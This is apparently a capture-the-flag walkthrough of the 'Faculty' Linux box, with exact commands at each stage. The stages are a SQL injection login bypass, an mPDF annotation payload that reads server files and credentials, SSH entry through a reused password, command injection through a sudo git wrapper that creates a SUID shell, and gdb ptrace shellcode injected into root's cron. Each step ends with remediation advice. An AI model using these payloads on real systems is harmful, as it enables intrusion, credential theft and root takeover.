← all walkthroughs

Faculty

Linux· Medium· Web
owned
2026-09-05
time to own
26m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found that Faculty's PHP scheduling portal built its login SQL query by concatenating the username field directly, allowing an authentication bypass with a simple SQL injection payload. Inside the admin panel, a PDF-export feature that rendered my HTML through the mPDF library exposed an arbitrary local-file-read primitive via its annotation-attachment tag, which was used to pull the application's database configuration file and recover a MySQL password. That password had been reused as the SSH password for the local user gbyolo, giving a direct shell.

A misconfigured sudo rule let gbyolo run a custom meta-git wrapper as user developer, and the wrapper passed its clone argument straight to a shell, so a crafted argument executed arbitrary commands as developer — used to mint a SUID bash owned by developer, which gave a developer shell and the user flag. Finally, the gdb binary carried the cap_sys_ptrace Linux capability, which lets its holder attach to and inject code into any process on the host; the same meta-git injection primitive was used to run gdb as developer, attach to a root-owned cron process, and inject shellcode that returned a root shell, completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD5="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <generated>, <payload-from-above>, <session> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceVirtual host discovery via HTTP redirect
Discovered the web application and its login form
A port scan found only SSH and HTTP exposed. A plain HTTP request to the IP redirected to the virtual host faculty.htb, revealing a PHP 'Faculty/School Scheduling System' with a custom login form (id_no/password fields) backing a student/staff portal.
HTTP/1.1 302 Moved Temporarily ... Location: http://faculty.htb; login.php contains #login-form with id_no/password fields
Exact commands 3
shell

Confirms only 22/tcp (ssh) and 80/tcp (nginx 1.18.0) are open.

$ nmap -Pn -p- -sV $TARGET
shell

Add the redirect target vhost so it resolves locally.

$ echo "$TARGET faculty.htb" | sudo tee -a /etc/hosts
shell

Enumerate the login form fields.

$ curl -sS -H 'Host: faculty.htb' http://$TARGET/login.php | grep -nE 'form|input|action'
2Initial AccessSQL Injection — Authentication Bypass (CWE-89)
Bypassed authentication with SQL injection in the login form
The login handler (Action::login in admin/admin_class.php) built its SQL query by directly concatenating the submitted username into the query string with no sanitization or parameter binding. Submitting a boolean-true payload in the username field bypassed the password check entirely and returned a valid admin session.
$qry = "SELECT * FROM users where username = '".$username."' and password = '".md5($password)."' "; payload username=' OR 1=1# returned HTTP 200, body '1', and a fresh PHPSESSID cookie
Exact commands 1
shell

Auth-bypass payload; a valid session cookie (PHPSESSID) is returned in the response headers.

$ curl -sS -i -H 'Host: faculty.htb' -X POST http://$TARGET/admin/index.php -d "id_no=' OR 1=1#&password=x"
FixUse parameterized queries in the login handlerCritical
WeaknessThe login form's username field was concatenated directly into a SQL query with no escaping or parameter binding, letting an unauthorised user submit SQL logic instead of a value and bypass authentication entirely.
FixRewrite Action::login() (and every other query built with string concatenation in the app) to use prepared statements with bound parameters (PDO or mysqli prepare/bind_param). Never build SQL by concatenating request input.
3ExploitationArbitrary File Read via mPDF Annotation Tag (CWE-22)
Abused the PDF-export feature to read the application's database credentials
The authenticated admin panel's PDF-export/download feature rendered my own HTML through the mPDF library. MPDF's <annotation> tag supports a file attachment, and pointing it at an arbitrary server-side path caused mPDF to read and embed that file's contents into the generated PDF, giving a local file read as the web-server user. This was used to pull /etc/passwd and then the app's admin/db_connect.php, exposing MySQL credentials for user 'sched'.
MPDF-rendered PDF returned the contents of /etc/passwd and admin/db_connect.php; recovered DB creds sched / [redacted, byte-verified via xxd]
Exact commands 3
shell

Build the double-URL-encoded, base64'd annotation payload targeting db_connect.php.

$ python3 -c "import urllib.parse,base64;h='<annotation file=\"/var/www/html/scheduling/admin/db_connect.php\" content=\"x\" icon=\"Graph\" title=\"c\" pos-x=\"195\" />';print(base64.b64encode(urllib.parse.quote(urllib.parse.quote(h)).encode()).decode())"
shell

Submit the payload as the admin session obtained in step 2; response names the generated PDF.

$ curl -sS -H 'Host: faculty.htb' -b 'PHPSESSID=<session>' -X POST http://$TARGET/admin/download.php --data-urlencode 'pdf=<payload-from-above>'
shell

Download the PDF and extract the embedded file attachment (poppler-utils).

$ curl -sS -H 'Host: faculty.htb' -b 'PHPSESSID=<session>' -o out.pdf http://$TARGET/mpdf/tmp/<generated>.pdf && pdfdetach -saveall out.pdf
FixDisable or restrict mPDF's annotation file-attachment featureHigh
WeaknessThe PDF-export feature rendered externally controlled HTML through mPDF, and mPDF's <annotation> tag reads an arbitrary server-side file path into the generated PDF, giving any user who can reach the export feature a local file read.
FixUpgrade to a patched mPDF release, strip/whitelist HTML tags (especially <annotation>) before passing user input to mPDF, and run the PDF renderer in a restricted filesystem context (chroot or a dedicated low-privilege user) so it cannot reach application config files.
4FootholdPassword Reuse Across Services (T1078)
Reused the database password to log in over SSH as gbyolo
The MySQL credential recovered from db_connect.php was tried against the exposed SSH service and matched the local account gbyolo's password, giving an interactive shell on the host with no exploit required.
Sshpass ssh gbyolo@$TARGET id -> uid=1000(gbyolo) gid=1000(gbyolo) groups=1000(gbyolo)
Exact commands 1
shell

Confirms the DB password also authenticates gbyolo over SSH.

$ sshpass -p "$PASSWORD5" ssh -o StrictHostKeyChecking=no gbyolo@$TARGET id
FixDo not reuse database credentials for OS-level accountsHigh
WeaknessThe MySQL password stored in the application's config file was identical to the SSH password for the local user gbyolo, so leaking one credential compromised both the database and a shell on the host.
FixUse unique, randomly generated passwords per service/account, store the DB credential in a secrets manager or restricted-permission config file, and rotate the exposed password immediately.
5Privilege EscalationSudo Rule Command Injection (T1548.003 / CWE-78)
Pivoted to the developer account via command injection in the meta-git sudo wrapper
As gbyolo, sudo -l showed permission to run /usr/local/bin/meta-git as user developer with no password. The meta-git tool passed its 'clone' argument to a shell-invoked git command without sanitization, so appending a shell operator (||) after a fake repo name executed arbitrary commands as developer. This was used to copy /bin/bash to a SUID binary owned by developer, giving a developer-privileged shell and access to user.txt.
Sudo -l: (developer) NOPASSWD: /usr/local/bin/meta-git; payload '0xdf||cp /bin/bash /tmp/devbash && chmod 4755 /tmp/devbash' succeeded; /tmp/devbash -p gave euid=1001(developer) and read /home/developer/user.txt
Exact commands 3
shell

Confirms the NOPASSWD meta-git rule for user developer.

$ ssh gbyolo@$TARGET 'sudo -l'
shell

Command injection via the unsanitized clone argument; drops a developer-owned SUID bash.

$ ssh gbyolo@$TARGET "cd /tmp && sudo -u developer /usr/local/bin/meta-git clone '0xdf||cp /bin/bash /tmp/devbash && chmod 4755 /tmp/devbash'"
shell

Use the SUID shell to prove developer access and read the flag. Replace real value with <user.txt>.

$ ssh gbyolo@$TARGET "/tmp/devbash -p -c 'id; cat /home/developer/user.txt'"
euid=1001(developer)
FixRemove the unsafe meta-git sudo ruleCritical
Weaknessgbyolo could run /usr/local/bin/meta-git as user developer via sudo with no password, and the tool passed its argument to a shell-invoked git command without sanitization, allowing arbitrary command execution as developer.
FixRemove the NOPASSWD sudo rule for meta-git (or replace it with a wrapper that validates the argument is a well-formed git URL and invokes git via execve, never a shell). Audit all custom sudoers entries for similar shell pass-through.
6Privilege EscalationAbuse of cap_sys_ptrace Capability for Process Injection (T1055 / T1548)
Injected shellcode into a root-owned cron process via gdb's ptrace capability
Enumeration on the box showed /usr/bin/gdb had the cap_sys_ptrace Linux capability set, which lets its holder attach to and control the memory/registers of any process on the system — including root's — bypassing the normal Unix rule that only root or a process owner can ptrace it. Using the same meta-git injection primitive to run gdb as developer, I attached to the root-owned cron daemon, wrote bind-shell shellcode into its instruction pointer, and resumed execution, spawning a listening shell running as root.
Getcap -r /: /usr/bin/gdb = cap_sys_ptrace+ep; gdb attach to root cron PID with injected linux/x64/shell_bind_tcp shellcode; subsequent nc connect returned id -> uid=0(root)
Exact commands 6
shell

Identifies gdb as carrying cap_sys_ptrace+ep.

$ ssh gbyolo@$TARGET 'getcap -r / 2>/dev/null'
shell

Identify a stable root-owned process PID to target (cron).

$ ssh gbyolo@$TARGET "cd /tmp && sudo -u developer /usr/local/bin/meta-git clone '0xdf||ps -C cron -o pid,user,comm #'"
shell

Generate bind-shell shellcode as raw hex bytes to inject.

$ msfvenom -p linux/x64/shell_bind_tcp LPORT=5600 -f hex
shell

Runs gdb (via the same injection primitive) as developer to attach to the root cron PID and write the shellcode into $rip, then continue execution.

$ ssh gbyolo@$TARGET "cd /tmp && sudo -u developer /usr/local/bin/meta-git clone '0xdf||/usr/bin/gdb -q -n -batch -x /tmp/inject-cron.gdb #'"
shell

Connect to the injected bind shell; run from a session on the box (e.g. An existing SSH connection with a local port-forward).

$ nc 127.0.0.1 5600
shell

Prove uid=0 before reading the flag. Replace real value with <root.txt>.

$ id && cat /root/root.txt
uid=0(root)
FixRemove the cap_sys_ptrace capability from gdbCritical
WeaknessThe gdb binary was granted the cap_sys_ptrace Linux capability, which allows any user who can execute it to attach to and inject code into any process on the system, including root-owned daemons — a full local privilege escalation primitive.
FixRemove the capability with setcap -r /usr/bin/gdb (debugging tools should not carry ptrace-all-processes rights outside a controlled dev environment). Periodically audit getcap -r / for unexpected capability grants.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp